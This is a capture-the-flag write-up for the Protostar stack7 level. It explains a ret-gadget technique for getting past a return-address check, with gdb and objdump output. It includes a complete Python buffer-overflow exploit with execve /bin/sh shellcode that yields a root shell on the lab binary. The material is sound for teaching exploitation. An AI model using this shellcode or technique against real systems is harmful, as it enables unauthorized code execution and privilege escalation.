Protostar 0x07 - Stack7

Prev: 0x06 - Stack6
Next: 0x08 - Net0

This level places even further restrictions on our return address, making it so that we can't return to any address starting with "0xb." This means that we cannot return into our shellcode from the stack, which begins at 0xbffeb000 (per "info proc map" in gdb), nor can we return into the copy of our shellcode which we found in the previous level at 0xb7fde000, nor can we return into libc!


If we look at the source code, the variable "ret" whose address is checked is initialized using a gcc builtin function "__builtin_return_address." This function, as you might expect, obtains the current function's return address at the time it is called, but that's it. In other words, we can still technically return to the stack since it is still executable, however, we can't use the return instruction at the end of this "getpath" function to do so.

How does that help us? Well, what if we instead return to a different "return" instruction - one located beyond the stack and in the text segment of the program - and then have that return to the stack address of our shellcode? We return to a return instruction, and then return a second time into the stack?

If we run objdump with "-d" to disassemble the executable sections of stack7, we can find such an instruction. I used the one in "i686.get.pc.thunk.bx," though there are plenty to choose from. We can even be cheeky and return to "getpath's" return instruction, essentially executing it twice!


objdump -d /opt/protostar/bin/stack7 
0804857a <__i686.get_pc_thunk.bx>:
804857a:       8b 1c 24   mov (%esp),%ebx
804857d:       c3         ret


So, we'll use "0x0804857d" as our initial return address, which will call another return, which will this time return into the stack address of our shellcode.

If we open stack7 in gdb (this time from its original directory in /opt/protostar/bin), we'll want to set two breakpoints: one after the "gets" call in the "getpath" function, and another at the "ret" instruction of "getpath." The former will allow us to check eax for the start of our string, and the latter will allow us to see where esp is pointing.


(gdb) break *getpath+43
Breakpoint 1 at 0x80484af: file stack7/stack7.c, line 15.
(gdb) break *getpath+117
Breakpoint 2 at 0x80484f9: file stack7/stack7.c, line 23.
(gdb) r < buffer
Starting program: /opt/protostar/bin/stack7 < buffer
input path please:
Breakpoint 1, getpath () at stack7/stack7.c:15
15      stack7/stack7.c: No such file or directory.
in stack7/stack7.c
(gdb) x $eax
0xbffffc6c:     0x41414141
(gdb) c
Continuing.
got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ec@    
Breakpoint 2, 0x080484f9 in getpath () at stack7/stack7.c:23
23      in stack7/stack7.c
(gdb) x $esp
0xbffffcbc:     0x08048505


From these commands we can see that eax, the address of our buffer, is "0xbffffc6c," and esp is at address "0xbffffcbc" when it hits the "ret" instruction. Thus, we need to fill 0x50, or 80, bytes before we can overflow with our new address of "0x0804857d"


import struct

buffer = "A" * 80
ret_ret = struct.pack("<I", 0x0804857d)
ret_shell = struct.pack("<I", 0xbffffcbc + 0x60)
nops = "\x90" * 100
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69" \
            "\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
payload = buffer + ret_ret + ret_shell + nops + shellcode

print payload


If we run this file the same way we did for the previous level, we get our desired output:


$ (python stack7.py; cat) | /opt/protostar/bin/stack7
whoami
root 


Excellent!

Prev: 0x06 - Stack6
Next: 0x08 - Net0